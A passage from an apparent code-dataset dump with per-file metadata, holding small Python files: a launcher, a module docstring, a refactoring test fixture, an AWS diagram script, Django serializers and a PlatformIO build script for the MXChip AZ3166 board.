,5948,5949,5950,5952,5953,5954,5955,5960,5963,5964,5965,5974,5975,5978,5979,5982,5983,5992,5994,5995,5996,6002,6004,6006,6008,6009,6012,6016,6017,6020,6021,6024,6026,6028,6030,6035,6039,6041,6043,6044,6045,6046,6047,6052,6053,6055,6057,6058,6059,6062,6064,6068,6069,6070,6071,6073,6074,6075,6077,6078,6079,6085,6086,6088,6089,6092,6096,6099,6103,6104,6105,6106,6107,6109,6112,6116,6117,6119,6121,6125,6126,6130,6131,6132,6133,6134,6135,6138,6139,6145,6147,6148,6149,6151,6152,6153,6154,6157,6158,6159,6161,6162,6163,6165,6168,6169,6170,6171,6172,6173,6177,6178,6179,6181,6182,6183,6187,6189,6190,6193,6195,6196,6198,6201,6203,6205,6207,6210,6211,6215,6218,6219,6220,6221,6222,6223,6225,6227,6229,6230,6233,6234,6236,6237,6238,6239,6249,6250,6256,6261,6263,6264,6266,6270,6273,6274,6277,6279,6282,6283,6287,6289,6290,6291,6294,6295,6296,6300,6302,6303,6304,6306,6308,6309,6310,6311,6312,6313,6315,6318,6320,6321,6324,6326,6328,6331,6334,6336,6338,6339,6341,6343,6345,6347,6349,6353,6355,6357,6358,6359,6360,6367,6370,6371,6372,6377,6378,6380,6381,6382,6385,6387,6388,6390,6392,6393,6397,6400,6403,6404,6405,6410,6411,6418,6419,6420,6421,6422,6423,6424,6427,6430,6432,6437,6438,6439,6441,6442,6444,6450,6451,6452,6453,6455,6460,6462,6466,6467,6468,6469,6470,6471,6472,6475,6481,6482,6483,6484,6485,6486,6488,6490,6492,6493,6494,6497,6499,6500,6502,6506,6511,6512,6513,6514,6515,6516,6517,6518,6521,6524,6525,6526,6527,6528,6529,6530,6531,6532,6537,6538,6541,6542,6544,6545,6546,6548,6549,6550,6551,6553,6554,6557,6559,6561,6562,6563,6568,6569,6571,6576,6577,6578,6582,6583,6584,6585,6587,6590,6592,6594,6595,6596,6601,6602,6607,6608,6609,6610,6611,6613,6617,6618,6620,6621,6623,6627,6631,6632,6637,6640,6641,6647,6648,6649,6650,6651,6653,6654,6656,6659,6661,6667,6668,6669,6670,6672,6675,6679,6681,6686,6689,6691,6692,6693,6694,6697,6698,6699,6700,6701,6704,6706,6710,6712,6713,6714,6716,6719,6720,6721,6722,6724,6726,6729,6730,6731,6733,6735,6736,6738,6739,6740,6743,6748,6749,6750,6751,6752,6761,6767,6770,6772,6775,6776,6777,6780,6782,6784,6785,6786,6789,6790,6791,6795,6797,6798,6801,6803,6804,6805,6806,6808,6813,6814,6815,6820,6821,6823,6824,6825,6826,6827,6828,6829,6830,6831,6836,6837,6838,6840,6849,6851,6852,6858,6859,6864,6865,6868,6870,6871,6874,6877,6878,6883,6884,6885,6886,6887,6889,6890,6891,6893,6894,6895,6896,6900,6903,6905,6908,6909,6911,6912,6915,6916,6924,6925,6927,6928,6929,6933,6934,6936,6937,6939,6941,6942,6943,6944,6946,6947,6948,6950,6952,6953,6954,6956,6957,6958,6959,6961,6962,6964,6965,6966,6968,6969,6971,6972,6975,6985,6994,6999,7000,7003,7004,7008,7009,7010,7013,7015,7016,7017,7018,7019,7021,7022,7023,7025,7026,7027,7029,7031,7032,7033,7036,7037,7040,7042,7043,7044,7045,7046,7047,7048,7051,7053,7056,7058,7072,7073,7074,7078,7080,7081,7082,7085,7086,7088,7090,7092,7093,7095,7096,7097,7098,7099,7101,7103,7104,7105,7106,7108,7109,7116,7117,7118,7120,7121,7124,7125,7127,7128,7129,7132,7134,7137,7140,7143,7145,7147,7151,7152,7156,7158,7159,7160,7163,7169,7171,7173,7174,7175,7176,7178,7180,7181,7182,7183,7187,7188,7189,7190,7192,7194,7195,7196,7197,7198,7199,7200,7201,7203,7205,7209,7210,7211,7212,7213,7215,7218,7221,7222,7225,7229,7231,7236,7237,7239,7242,7245,7246,7247,7248,7250,7253,7256,7259,7262,7263,7264,7266,7267,7271,7272,7273,7274,7278,7279,7280,7281,7282,7284,7285,7290,7291,7292,7298,7300,7301,7302,7303,7304,7312,7313,7314,7315,7316,7319,7320,7321,7322,7326,7329,7330,7331,7332,7333,7334,7335,7336,7337,7338,7339,7341,7342,7344,7345,7346,7347,7349,7350,7351,7352,7355,7356,7357,7360,7361,7365,7366,7367,7368,7369,7372,7373,7378,7379,7389,7390,7393,7394,7395,7399,7401,7402,7403,7404,7405,7406,7410,7412,7414,7416,7419,7420,7421,7422,7426,7429,7430,7431,7432,7436,7438,7442,7445,7448,7449,7452,7453,7454,7455,7463,7467,7469,7470,7471,7472,7473,7475,7476,7477,7478,7481,7482,7491,7492,7493,7496,7498,7499,7500,7501,7502,7503,7506,7509,7511,7515,7516,7517,7519,7520,7521,7522,7523,7524,7525,7527,7529,7530,7531,7532,7533,7534,7535,7538,7539,7540,7541,7542,7544,7547,7551,7552,7553,7557,7558,7559,7563,7564,7565,7566,7567,7569,7570,7571,7573,7576,7577,7579,7580,7583,7584,7588,7590,7591,7592,7594,7599,7600,7603,7604,7605,7606,7607,7608,7609,7612,7616,7617,7623,7624,7625,7626,7627,7629,7631,7633,7634,7636,7638,7641,7643,7644,7647,7649,7651,7652,7653,7656,7660,7661,7662,7663,7665,7667,7671,7673,7674,7676,7677,7678,7679,7685,7686,7687,7692,7694,7695,7696,7701,7702,7703,7706,7709,7713,7714,7715,7717,7720,7721,7723,7724,7725,7726,7731,7732,7733,7736,7739,7740,7741,7744,7745,7746,7752,7755,7756,7758,7761,7765,7766,7767,7768,7770,7771,7773,7775,7776,7781,7783,7786,7787,7789,7792,7795,7796,7798,7803,7805,7806,7807,7808,7811,7812,7814,7817,7818,7819,7820,7823,7824,7825,7826,7831,7833,7837,7838,7840,7843,7846,7848,7853,7855,7858,7860,7863,7865,7868,7869,7874,7875,7876,7877,7881,7882,7883,7886,7887,7888,7890,7891,7894,7896,7898,7899,7904,7905,7907,7908,7909,7913,7915,7917,7919,7921,7923,7924,7925,7931,7933,7937,7940,7942,7945,7946,7947,7951,7955,7957,7958,7959,7960,7962,7964,7965,7970,7972,7973,7976,7978,7979,7982,7983,7989,7990,7991,7996,8001,8002,8003,8004,8005,8007,8008,8009,8010,8011,8012,8013,8016,8018,8022,8023,8024,8025,8027,8029,8030,8031,8033,8035,8036,8039,8040,8041,8042,8043,8044,8045,8047,8049,8050,8051,8052,8056,8057,8058,8064,8065,8066,8067,8072,8076,8077,8078,8080,8081,8084,8087,8088,8089,8090,8091,8093,8096,8097,8102,8103,8104,8106,8109,8110,8111,8112,8113,8114,8115,8116,8118,8119,8124,8127,8129,8132,8140,8143,8145,8146,8148,8150,8151,8152,8155,8156,8159,8161,8163,8166,8167,8176,8178,8181,8184,8186,8188,8189,8191,8194,8195,8198,8199,8200,8201,8202,8203,8204,8207,8209,8212,8215,8217,8218,8222,8224,8226,8227,8229,8231,8232,8240,8243,8250,8251,8252,8254,8259,8261,8262,8263,8264,8265,8267,8268,8275,8278,8280,8281,8283,8284,8287,8288,8289,8290,8293,8294,8298,8299,8300,8301,8302,8307,8311,8312,8313,8316,8317,8319,8321,8326,8332,8333,8334,8335,8337,8338,8341,8342,8343,8345,8347,8351,8353,8354,8355,8358,8359,8361,8365,8366,8371,8373,8375,8376,8378,8381,8382,8383,8384,8387,8390,8392,8395,8397,8402,8403,8408,8409,8411,8412,8413,8416,8418,8419,8420,8422,8425,8426,8431,8435,8436,8438,8439,8444,8446,8448,8451,8452,8453,8456,8457,8459,8460,8461,8464,8465,8466,8468,8469,8470,8471,8472,8479,8482,8484,8485,8490,8491,8493,8494,8497,8498,8500,8503,8504,8507,8508,8509,8510,8512,8514,8515,8517,8518,8519,8521,8522,8524,8525,8527,8528,8530,8533,8539,8541,8543,8544,8545,8546,8552,8553,8555,8557,8558,8559,8562,8564,8565,8567,8569,8570,8572,8576,8577,8579,8580,8583,8586,8587,8591,8592,8594,8595,8601,8602,8608,8611,8613,8615,8617,8618,8625,8627,8629,8631,8633,8634,8638,8640,8641,8643,8647,8648,8650,8651,8652,8654,8655,8656,8658,8659,8660,8661,8665,8666,8667,8668,8670,8671,8674,8677,8678,8681,8682,8684,8686,8688,8689,8690,8693,8699,8701,8702,8703,8706,8710,8712,8714,8717,8719,8720,8721,8722,8724,8728,8729,8730,8732,8734,8736,8738,8739,8743,8744,8747,8748,8753,8755,8758,8759,8760,8761,8764,8766,8768,8769,8771,8777,8783,8786,8787,8791,8792,8794,8795,8796,8798,8801,8805,8807,8811,8812,8813,8815,8817,8818,8819,8820,8821,8822,8823,8824,8828,8829,8830,8832,8835,8838,8841,8842,8843,8845,8846,8847,8853,8855,8858,8859,8860,8863,8864,8866,8868,8869,8870,8872,8874,8879,8881,8883,8885,8889,8891,8899,8900,8903,8906,8907,8909,8910,8916,8918,8919,8922,8924,8926,8927,8928,8929,8934,8936,8938,8939,8941,8942,8943,8949,8951,8954,8958,8962,8963,8966,8972,8973,8975,8977,8978,8980,8989,8991,8993,8997,8998,8999,9000,9001,9002,9003,9005,9015,9016,9018,9022,9024,9025,9028,9031,9032,9039,9044,9047,9048,9050,9052,9056,9058,9059,9061,9062,9063,9064,9070,9071,9073,9074,9077,9081,9082,9085,9088,9090,9091,9092,9093,9094,9095,9097,9098,9101,9103,9104,9109,9111,9113,9114,9119,9120,9122,9123,9124,9128,9129,9131,9132,9133,9138,9142,9145,9148,9150,9151,9153,9154,9156,9157,9158,9160,9163,9164,9166,9170,9172,9177,9178,9180,9181,9182,9183,9184,9186,9187,9189,9192,9193,9194,9196,9197,9198,9202,9204,9206,9210,9214,9215,9216,9218,9219,9221,9222,9223,9224,9225,9226,9228,9229,9231,9235,9236,9238,9240,9244,9246,9249,9251,9253,9256,9257,9258,9259,9260,9261,9265,9266,9267,9268,9270,9272,9275,9278,9280,9282,9283,9285,9286,9287,9289,9292,9294,9295,9296,9297,9299,9300,9301,9302,9303,9305,9306,9309,9310,9313,9315,9316,9317,9320,9322,9323,9324,9326,9329,9330,9332,9334,9336,9337,9341,9342,9348,9351,9353,9355,9356,9357,9358,9362,9365,9366,9368,9369,9370,9372,9373,9374,9376,9378,9380,9381,9383,9384,9385,9387,9388,9390,9391,9397,9402,9404,9407,9408,9409,9412,9413,9414,9422,9423,9424,9426,9428,9430,9432,9434,9435,9440,9441,9442,9443,9444,9446,9450,9451,9454,9455,9458,9459,9460,9462,9463,9466,9469,9470,9472,9478,9479,9481,9484,9485,9487,9490,9491,9492,9497,9498,9499,9501,9503,9506,9508,9509,9510,9511,9513,9517,9518,9521,9528,9530,9531,9532,9534,9541,9544,9545,9546,9550,9552,9553,9554,9555,9557,9561,9563,9567,9569,9570,9571,9574,9575,9580,9581,9582,9587,9590,9591,9592,9593,9602,9603,9607,9609,9611,9613,9616,9617,9619,9622,9626,9628,9630,9632,9633,9635,9636,9637,9638,9640,9642,9643,9644,9649,9652,9654,9655,9656,9659,9660,9661,9662,9663,9666,9673,9674,9675,9680,9683,9686,9689,9690,9693,9694,9695,9697,9698,9700,9704,9710,9711,9712,9713,9719,9722,9723,9724,9725,9726,9728,9730,9731,9732,9733,9734,9736,9738,9740,9741,9742,9746,9747,9748,9751,9753,9755,9758,9759,9761,9762,9763,9764,9765,9766,9769,9771,9774,9777,9778,9779,9781,9784,9787,9788,9789,9790,9791,9792,9793,9794,9800,9801,9802,9803,9804,9805,9806,9807,9808,9809,9812,9814,9819,9821,9822,9824,9826,9827,9828,9831,9832,9836,9839,9842,9843,9844,9845,9846,9847,9849,9850,9852,9853,9856,9860,9861,9863,9864,9865,9870,9873,9874,9875,9877,9879,9881,9883,9884,9890,9893,9894,9896,9897,9901,9902,9904,9908,9909,9910,9914,9915,9916,9918,9921,9922,9924,9927,9930,9931,9932,9933,9934,9935,9936,9937,9938,9940,9945,9946,9947,9948,9949,9950,9951,9952,9954,9955,9957,9959,9961,9962,9965,9967,9969,9972,9975,9980,9981,9982,9984,9987,9990,9992,9993,9994,9996]
# search(pile, 7432)
search([-1,0,3,5,9,12], 13) | 1,172.744681 | 53,940 | 0.713474 | 10,124 | 55,119 | 3.884433 | 0.742296 | 0.001958 | 0.000915 | 0.000254 | 0.004526 | 0.003713 | 0.003357 | 0.001983 | 0.001983 | 0.001983 | 0 | 0.715269 | 0.01192 | 55,119 | 47 | 53,941 | 1,172.744681 | 0.006812 | 0.000327 | 0 | 0.452381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02381 | false | 0 | 0 | 0 | 0.142857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
f874230f24e29b7a354cae3ec7ebafe29a788b59 | 137 | py | Python | run.py | Malthanatos/Bifrost | e7a0034f90e3e3193ac68001c0f77160f5a888aa | [
"Unlicense"
] | null | null | null | run.py | Malthanatos/Bifrost | e7a0034f90e3e3193ac68001c0f77160f5a888aa | [
"Unlicense"
] | null | null | null | run.py | Malthanatos/Bifrost | e7a0034f90e3e3193ac68001c0f77160f5a888aa | [
"Unlicense"
] | null | null | null | # Run
# Author : Nathan Krueger
# Created 5:00 PM 7/16/15
# Last Updated --
# Version 1.0
import controller, UI#, GUI
controller.run()
| 13.7 | 27 | 0.678832 | 22 | 137 | 4.227273 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.09009 | 0.189781 | 137 | 9 | 28 | 15.222222 | 0.747748 | 0.613139 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
f875076860d91d01ceabd724d95d62c44f99a057 | 117 | py | Python | ppci/lang/tools/__init__.py | rakati/ppci-mirror | 8f5b0282fd1122d7c389b39c86fcf5d9352b7bb2 | [
"BSD-2-Clause"
] | 161 | 2020-05-31T03:29:42.000Z | 2022-03-07T08:36:19.000Z | ppci/lang/tools/__init__.py | rakati/ppci-mirror | 8f5b0282fd1122d7c389b39c86fcf5d9352b7bb2 | [
"BSD-2-Clause"
] | 74 | 2020-05-26T18:05:48.000Z | 2021-02-13T21:55:39.000Z | ppci/lang/tools/__init__.py | rakati/ppci-mirror | 8f5b0282fd1122d7c389b39c86fcf5d9352b7bb2 | [
"BSD-2-Clause"
] | 19 | 2020-05-27T19:22:11.000Z | 2022-02-17T18:53:52.000Z | """
This module contains the pcc (python compiler compiler).
It is an alternative to bison or yacc etc..
"""
| 23.4 | 60 | 0.675214 | 17 | 117 | 4.647059 | 0.941176 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.230769 | 117 | 4 | 61 | 29.25 | 0.877778 | 0.854701 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
f8b33d202ffbd62514b9acab46612b6efa1c4adb | 160 | py | Python | python/testData/refactoring/move/function/after/src/b.py | truthiswill/intellij-community | fff88cfb0dc168eea18ecb745d3e5b93f57b0b95 | [
"Apache-2.0"
] | 2 | 2019-04-28T07:48:50.000Z | 2020-12-11T14:18:08.000Z | python/testData/refactoring/move/function/after/src/b.py | truthiswill/intellij-community | fff88cfb0dc168eea18ecb745d3e5b93f57b0b95 | [
"Apache-2.0"
] | 173 | 2018-07-05T13:59:39.000Z | 2018-08-09T01:12:03.000Z | python/testData/refactoring/move/function/after/src/b.py | truthiswill/intellij-community | fff88cfb0dc168eea18ecb745d3e5b93f57b0b95 | [
"Apache-2.0"
] | 2 | 2020-03-15T08:57:37.000Z | 2020-04-07T04:48:14.000Z | from lib1 import urlopen
def g():
return None
def f(url):
'''Return the representation available at the URL.
'''
return urlopen(url).read() | 13.333333 | 54 | 0.6375 | 22 | 160 | 4.636364 | 0.681818 | 0.176471 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008333 | 0.25 | 160 | 12 | 55 | 13.333333 | 0.841667 | 0.29375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0.2 | 0.2 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 4 |
f8b7230b3051c068692316b65a9d72cf9bccc256 | 171 | py | Python | diagram.py | figurate/lambda-function-python-template | 6fd5061ee8963432f91db658bc5d020e68c5b24b | [
"MIT"
] | null | null | null | diagram.py | figurate/lambda-function-python-template | 6fd5061ee8963432f91db658bc5d020e68c5b24b | [
"MIT"
] | null | null | null | diagram.py | figurate/lambda-function-python-template | 6fd5061ee8963432f91db658bc5d020e68c5b24b | [
"MIT"
] | null | null | null | from diagrams import Diagram
from diagrams.aws.compute import Lambda
with Diagram("Python Function Template", show=False, direction="TB"):
Lambda("python function")
| 24.428571 | 69 | 0.77193 | 22 | 171 | 6 | 0.681818 | 0.181818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.128655 | 171 | 6 | 70 | 28.5 | 0.885906 | 0 | 0 | 0 | 0 | 0 | 0.239766 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
6eff804e84955661e6e62b692c4f669a9770f652 | 854 | py | Python | awards/serializer.py | johnmwangi/Awards | 75a5e671fd39a411d35140ca1b15554f26f5d8d7 | [
"MIT"
] | null | null | null | awards/serializer.py | johnmwangi/Awards | 75a5e671fd39a411d35140ca1b15554f26f5d8d7 | [
"MIT"
] | 5 | 2021-03-19T00:53:32.000Z | 2022-03-11T23:48:14.000Z | awards/serializer.py | johnmwangi/Awaards4_Awards | 75a5e671fd39a411d35140ca1b15554f26f5d8d7 | [
"MIT"
] | null | null | null | from rest_framework import serializers
from .models import Profile,Project,countries,categories,technologies,colors
class ProfileSerializer(serializers.ModelSerializer):
class Meta:
model = Profile
fields='__all__'
class ProjectSerializer(serializers.ModelSerializer):
class Meta:
model = Project
fields='__all__'
class countriesSerializer(serializers.ModelSerializer):
class Meta:
model = countries
fields='__all__'
class categoriesSerializer(serializers.ModelSerializer):
class Meta:
model = categories
fields='__all__'
class technologiesSerializer(serializers.ModelSerializer):
class Meta:
model = technologies
fields='__all__'
class colorsSerializer(serializers.ModelSerializer):
class Meta:
model = colors
fields='__all__'
| 25.878788 | 76 | 0.716628 | 74 | 854 | 7.932432 | 0.324324 | 0.265758 | 0.316865 | 0.357751 | 0.408859 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.213115 | 854 | 32 | 77 | 26.6875 | 0.873512 | 0 | 0 | 0.461538 | 0 | 0 | 0.04918 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.076923 | 0 | 0.538462 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
3e074bd41a98bde1b0d070d05e2424c453bee30f | 12,155 | py | Python | builder/frameworks/arduino/mxchip.py | vskh/platformio-platform-ststm32 | d06eb26ec9ea04a276d5086f847c6aa62021d342 | [
"Apache-2.0"
] | null | null | null | builder/frameworks/arduino/mxchip.py | vskh/platformio-platform-ststm32 | d06eb26ec9ea04a276d5086f847c6aa62021d342 | [
"Apache-2.0"
] | null | null | null | builder/frameworks/arduino/mxchip.py | vskh/platformio-platform-ststm32 | d06eb26ec9ea04a276d5086f847c6aa62021d342 | [
"Apache-2.0"
] | null | null | null | # Copyright 2014-present PlatformIO <contact@platformio.org>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Arduino
Arduino Wiring-based Framework allows writing cross-platform software to
control devices attached to a wide range of Arduino boards to create all
kinds of creative coding, interactive objects, spaces or physical experiences.
http://www.stm32duino.com
"""
from os import walk
from os.path import isdir, join
from typing import Dict, AnyStr, Any
from SCons.Script import DefaultEnvironment
env = DefaultEnvironment()
platform = env.PioPlatform()
board = env.BoardConfig()
FRAMEWORK_DIR = platform.get_package_dir("framework-arduinostm32mxchip")
FRAMEWORK_VERSION = platform.get_package_version(
"framework-arduinostm32mxchip")
assert isdir(FRAMEWORK_DIR)
env.SConscript("../_bare.py")
COMPILE_OPTS = dict(
ASFLAGS=['-c', '-x', 'assembler-with-cpp', '-I{build_system_path}', '-I{build_system_path}/mbed-os', '-I{build_system_path}/mbed-os/cmsis', '-I{build_system_path}/mbed-os/drivers', '-I{build_system_path}/mbed-os/events', '-I{build_system_path}/mbed-os/events/equeue', '-I{build_system_path}/mbed-os/features', '-I{build_system_path}/mbed-os/features/filesystem', '-I{build_system_path}/mbed-os/features/filesystem/bd', '-I{build_system_path}/mbed-os/features/filesystem/fat', '-I{build_system_path}/mbed-os/features/filesystem/fat/ChaN', '-I{build_system_path}/mbed-os/features/frameworks/greentea-client/greentea-client', '-I{build_system_path}/mbed-os/features/frameworks/unity/unity', '-I{build_system_path}/mbed-os/features/mbedtls/inc', '-I{build_system_path}/mbed-os/features/mbedtls', '-I{build_system_path}/mbed-os/features/netsocket', '-I{build_system_path}/mbed-os/hal', '-I{build_system_path}/mbed-os/hal/storage_abstraction', '-I{build_system_path}/mbed-os/platform', '-I{build_system_path}/mbed-os/rtos', '-I{build_system_path}/mbed-os/rtos/rtx/TARGET_CORTEX_M', '-I{build_system_path}/mbed-os/targets/TARGET_MXCHIP', '-I{build_system_path}/mbed-os/targets/TARGET_MXCHIP/TARGET_AZ3166', '-I{build_system_path}/mbed-os/targets/TARGET_MXCHIP/TARGET_AZ3166/device', '-I{build_system_path}/mbed-os/targets/TARGET_STM', '-I{build_system_path}/mbed-os/targets/TARGET_STM/TARGET_STM32F4', '-I{build_system_path}/mbed-os/targets/TARGET_STM/TARGET_STM32F4/device', '-I{build_system_path}/az3166-driver', '-I{build_system_path}/az3166-driver/libraries/drivers/display/VGM128064', '-I{build_system_path}/az3166-driver/libraries/drivers/gpio_btn', '-I{build_system_path}/az3166-driver/libraries/drivers/spi_flash', '-I{build_system_path}/az3166-driver/libraries/utilities', '-I{build_system_path}/az3166-driver/mico', '-I{build_system_path}/az3166-driver/mico/include', '-I{build_system_path}/az3166-driver/mico/include/mico_drivers', '-I{build_system_path}/az3166-driver/mico/net/LwIP/lwip-sys', '-I{build_system_path}/az3166-driver/mico/net/LwIP/lwip-sys/arch', '-I{build_system_path}/az3166-driver/mico/net/LwIP/lwip-ver1.4.0.rc1/src/include', '-I{build_system_path}/az3166-driver/mico/net/LwIP/lwip-ver1.4.0.rc1/src/include/lwip', '-I{build_system_path}/az3166-driver/mico/net/LwIP/lwip-ver1.4.0.rc1/src/include/ipv4', '-I{build_system_path}/az3166-driver/mico/platform', '-I{build_system_path}/az3166-driver/mico/platform/include', '-I{build_system_path}/az3166-driver/mico/platform/mbed', '-I{build_system_path}/az3166-driver/mico/rtos', '-I{build_system_path}/az3166-driver/mico/system', '-I{build_system_path}/az3166-driver/mico/system/command_console', '-I{build_system_path}/az3166-driver/TARGET_AZ3166', '-I{build_system_path}/az3166-driver/TARGET_STM/peripherals', '-I{build_system_path}/az3166-driver/utilities', '-I{build_system_path}/azure-iot-sdk-c/', '-I{build_system_path}/azure-iot-sdk-c/c-utility/inc', '-I{build_system_path}/azure-iot-sdk-c/c-utility/pal/mbed_os5', '-I{build_system_path}/azure-iot-sdk-c/deps/parson', '-I{build_system_path}/azure-iot-sdk-c/deps/uhttp/inc', '-I{build_system_path}/azure-iot-sdk-c/deps/umock-c/inc', '-I{build_system_path}/azure-iot-sdk-c/deps/azure-macro-utils-c/inc', '-I{build_system_path}/azure-iot-sdk-c/iothub_client/inc', '-I{build_system_path}/azure-iot-sdk-c/iothub_client/inc/internal', '-I{build_system_path}/azure-iot-sdk-c/digitaltwin_client/inc', '-I{build_system_path}/azure-iot-sdk-c/digitaltwin_client/inc/internal', '-I{build_system_path}/azure-iot-sdk-c/provisioning_client/inc', '-I{build_system_path}/azure-iot-sdk-c/provisioning_client/adapters', '-I{build_system_path}/azure-iot-sdk-c/provisioning_client/deps/RIoT/Reference/DICE', '-I{build_system_path}/azure-iot-sdk-c/provisioning_client/deps/RIoT/Reference/RIoT', '-I{build_system_path}/azure-iot-sdk-c/provisioning_client/deps/RIoT/Reference/RIoT/Core/', '-I{build_system_path}/azure-iot-sdk-c/provisioning_client/deps/RIoT/Reference/RIoT/Core/RIoTCrypt/include', '-I{build_system_path}/azure-iot-sdk-c/umqtt/inc', '-I{build_core_path}', '-I{build_core_path}/cli', '-I{build_core_path}/httpclient', '-I{build_core_path}/httpclient/http_parser', '-I{build_core_path}/httpserver', '-I{build_core_path}/NTPClient', '-I{build_core_path}/system', '-I{build_core_path}/Telemetry', '-DTRANSACTION_QUEUE_SIZE_SPI=2', '-D__CORTEX_M4', '-DUSB_STM_HAL', '-DARM_MATH_CM4', '-D__FPU_PRESENT=1', '-DUSBHOST_OTHER', '-D__MBED_CMSIS_RTOS_CM', '-D__CMSIS_RTOS', '-mcpu={build_mcu}', '-DARDUINO={runtime_ide_version}', '-DARDUINO_{build_board}', '-DARDUINO_ARCH_{build_arch}'],
CFLAGS=['-std=gnu99'],
CCFLAGS=['-c', '-O2', '-g', '-w', '-ffunction-sections', '-fdata-sections', '-nostdlib', '--param', 'max-inline-insns-single=500', '-include', 'mbed_config.h', '-MMD', '-mcpu={build_mcu}'],
CXXFLAGS=['-std=gnu++11', '-Wno-unused-parameter', '-Wno-missing-field-initializers', '-fmessage-length=0', '-fno-threadsafe-statics', '-fno-rtti', '-Wvla'],
CPPDEFINES=[('DEVICE_RTC', '1'), ('MXCHIP_LIBRARY', None), ('__CORTEX_M4', None), ('DEVICE_SERIAL_FC', '1'), ('LPS22HB_I2C_PORT', 'MICO_I2C_1'), ('DEVICE_I2C_ASYNCH', '1'), ('DEVICE_PORTINOUT', '1'), ('DEVICE_SLEEP', '1'), ('TARGET_FF_MORPHO', None), ('TOOLCHAIN_GCC', None), ('TARGET_LIKE_CORTEX_M4', None), ('DEVICE_SPISLAVE', '1'), ('DEVICE_PORTIN', '1'), ('TARGET_UVISOR_UNSUPPORTED', None), ('TARGET_DEBUG', None), ('DEVICE_LOWPOWERTIMER', '1'), ('DEVICE_SPI_ASYNCH', '1'), ('DEVICE_PORTOUT', '1'), ('__CMSIS_RTOS', None), ('__MBED_CMSIS_RTOS_CM', None), ('USB_STM_HAL', None), ('DEVICE_PWMOUT', '1'), ('ARDUINO_{build_board}', None), ('TRANSACTION_QUEUE_SIZE_SPI', '2'), ('DEVICE_ERROR_RED', '1'), ('DEVICE_QSPI', '1'), ('TARGET_STM32F4', None), ('__FPU_PRESENT', '1'), ('__MBED__', '1'), ('TOOLCHAIN_GCC_ARM', None), ('TARGET_FF_ARDUINO', None), ('ARDUINO_ARCH_{build_arch}', None), ('TARGET_M4', None), ('TARGET_CORTEX_M', None), ('TARGET_AZ3166', None), ('DEVICE_SDIO', '1'), ('TARGET_STM', None), ('TARGET_LIKE_MBED', None), ('ARDUINO', '{runtime_ide_version}'), ('DEVICE_CAN', '1'), ('DEVICE_I2C', '1'), ('DEVICE_SERIAL_ASYNCH', '1'), ('DEVICE_I2CSLAVE', '1'), ('TOOLCHAIN_object', None), ('DEVICE_SPI', '1'), ('HSE_VALUE', '((uint32_t)26000000)'), ('MBED_BUILD_TIMESTAMP', '1490085708.63'), ('TARGET_RTOS_M4_M7', None), ('DEVICE_ANALOGIN', '1'), ('DEVICE_SERIAL', '1'), ('ARM_MATH_CM4', None), ('DEVICE_TRNG', '1'), ('DEVICE_STDIO_MESSAGES', '1'), ('TARGET_MXCHIP', None), ('DEVICE_INTERRUPTIN', '1'), ('DEVICE_RTC', '1'), ('MXCHIP_LIBRARY', None), ('__CORTEX_M4', None), ('DEVICE_SERIAL_FC', '1'), ('LPS22HB_I2C_PORT', 'MICO_I2C_1'), ('DEVICE_I2C_ASYNCH', '1'), 